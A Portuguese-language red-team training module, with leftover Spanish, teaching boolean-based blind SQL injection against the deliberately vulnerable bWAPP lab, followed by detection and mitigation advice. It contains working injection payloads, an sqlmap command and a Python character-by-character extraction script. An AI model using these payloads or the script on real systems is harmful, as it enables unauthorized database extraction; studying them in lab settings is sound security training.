Ir al contenido

📕 MANUAL DE CAMPO 3.1: INJEÇÃO SQL CEGA (BASEADA EM BOOLEAN)

Objetivo: Exfiltração de dados bit a bit mediante inferência de respostas Verdadeiro/Falso.

0lecturas

Classificação: RED TEAM EYES ONLY

Objetivo: Exfiltração de dados bit a bit mediante inferência de respostas Verdadeiro/Falso.

Targets bWAPP: SQL Injection - Blind - Boolean-Based.

MITRE ATT&CK: T1190.

Imaginaremos um login ou campo de busca onde o código é assim:

Ventana de terminal
$id = $_GET['id'];
$sql = "SELECT * FROM movies WHERE id = '$id'";
$result = mysqli_query($link, $sql);
if (mysqli_num_rows($result) > 0) {
echo "La película existe."; // Respuesta TRUE
} else {
echo "La película no existe."; // Respuesta FALSE
}
  • Se injetarmos UNION SELECT, não veremos o resultado, apenas veremos “O filme existe”.
  • Se injetarmos algo que resulte em erro, a página talvez diga apenas “O filme não existe” (ou nada).

Não podemos pedir 'Dames la versión'. Mas podemos perguntar: “A primeira letra da versão é um número 5?”

  • Se o servidor responder “O filme existe” -> É um SIM.
  • Se responder “O filme não existe” -> É um NÃO.

Repetiremos isso para cada letra até reconstruir a informação.

Precisamos de funções que cortem o texto (SUBSTRING) e convertam caracteres em números ASCII (ORD ou ASCII) para poder comparar.

Passo 1: Verificar a Cegueira (Teste True/False)

Sección titulada «Paso 1: Verificar la Ceguera (True/False Test)»

Primeiro, confirmaremos que podemos manipular a lógica.

  • Carga útil VERDADERA: Iron Man' AND 1=1 -- -
    • Resultado: Aparecerá “Iron Man exists” (ou conteúdo normal).
  • Carga útil FALSA: Iron Man' AND 1=0 -- -
    • Resultado: “The movie does not exist” (ou conteúdo vazio).

Conclusão: Se houver diferença visual entre o payload TRUE e FALSE, é vulnerável a Boolean-Based.

Passo 2: Adivinhando o comprimento (LENGTH)

Sección titulada «Paso 2: Adivinando la longitud (LENGTH)»

Antes de adivinhar o nome do banco de dados, perguntaremos qual é o seu comprimento.

  • Pergunta: “O nome do banco de dados tem mais de 5 letras?”

  • Payload:

    Iron Man' AND length(database()) > 5 -- -
    • Se True: É maior que 5. Testaremos > 10.
    • Se False: É 5 ou menos.

Passo 3: Adivinhando caracteres (SUBSTRING & ASCII)

Sección titulada «Paso 3: Adivinando caracteres (SUBSTRING & ASCII)»

Vamos adivinhar a primeira letra do nome do banco de dados.

  • Pergunta: “A primeira letra do nome do banco de dados é a letra ‘b’ (ASCII 98)?”

  • Payload:

    Iron Man' AND ascii(substring(database(),1,1)) = 98 -- -

    (Nota: substring(string, posición, longitud))

Se responde TRUE, a primeira letra é ‘b’. Se não, provaremos com 99 (‘c’), 100 (‘d’)… Depois passaremos à posição 2: substring(database(),2,1).

3. AUTOMAÇÃO: SCRIPTING (PYTHON) VS SQLMAP

Sección titulada «3. AUTOMATION: SCRIPTING (PYTHON) VS SQLMAP»

Fazer isso manualmente é uma loucura. Um nome de 8 letras exige testar centenas de combinações. É aqui que a automação é obrigatória.

O SQLMap faz isso automaticamente com --technique=B.

sqlmap -u "http://bwapp/sqli_4.php?title=Iron&action=search" \
--cookie="PHPSESSID=..." \
--technique=B \
--level 2 \
--dbs
  • Veremos que o SQLMap começa a testar caracteres muito rapidamente.

A Opção “Red Team Pro” (Python Custom Exploit)

Sección titulada «La Opción “Red Team Pro” (Python Custom Exploit)»

Às vezes o SQLMap é muito ruidoso ou o WAF o bloqueia. Um script Python simples nos dá controle total.

Pseudocódigo Lógico (Binary Search): Em vez de perguntar 'É ‘a’? É ‘b’?', perguntaremos 'É maior que ‘m’?'. Assim descartamos a metade do alfabeto de uma vez.

import requests
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
target_url = "http://bwapp/sqli_4.php"
cookies = {"PHPSESSID": "tu_cookie"}
extracted_db = ""
for i in range(1, 10): # Longitud asumida
for char in charset:
payload = f"Iron Man' AND substring(database(),{i},1)='{char}' -- -"
r = requests.get(target_url, params={"title": payload, "action": "search"}, cookies=cookies)
if "The movie exists" in r.text: # Nuestra señal TRUE
extracted_db += char
print(f"[+] Found: {extracted_db}")
break

Em Blind SQLi, a “escalada” é a otimização.

  1. Busca Binária: Reduz as requisições de 128 (ASCII completo) para apenas 7 por caractere.
  2. Exfiltração DNS (OOB): Se o Boolean for muito lento, tentaremos forçar uma requisição DNS (veremos isso na Fase 4) para extrair os dados rapidamente, em vez de bit a bit.

O ataque Boolean-Based é o mais ruidoso em volume de requisições.

  1. Registros de acceso: Veremos miles de peticiones casi idénticas en segundos (AND ascii(...)).
    • Exemplo: /search?q=...AND ascii(sub(user,1,1))>100
  2. Taxa de Erros 200 OK: O atacante gera muitas respostas válidas (200 OK), mas com conteúdo ligeiramente diferente. Uma análise de entropia da resposta pode detectá-lo.
  1. Mensagens de Erro Genéricas: Não basta apenas ocultar o erro SQL. A aplicação deve responder da mesma forma (ou com um erro genérico 404/500 estático) se a query falhar logicamente, para não fornecer pistas de “True/False”.
  2. Limite de Velocidade: Bloquearemos o IP se ele fizer mais de 100 requisições ao mesmo endpoint em 1 minuto. Isso anula a extração Blind.
  3. WAF: Bloquearemos funções SQL como SUBSTRING, MID, ASCII, ORD.

Estado: Módulo 3.1 Completado. Missão: Tentaremos adivinhar manualmente a primeira letra do usuário atual em bWAPP usando substring(user(),1,1).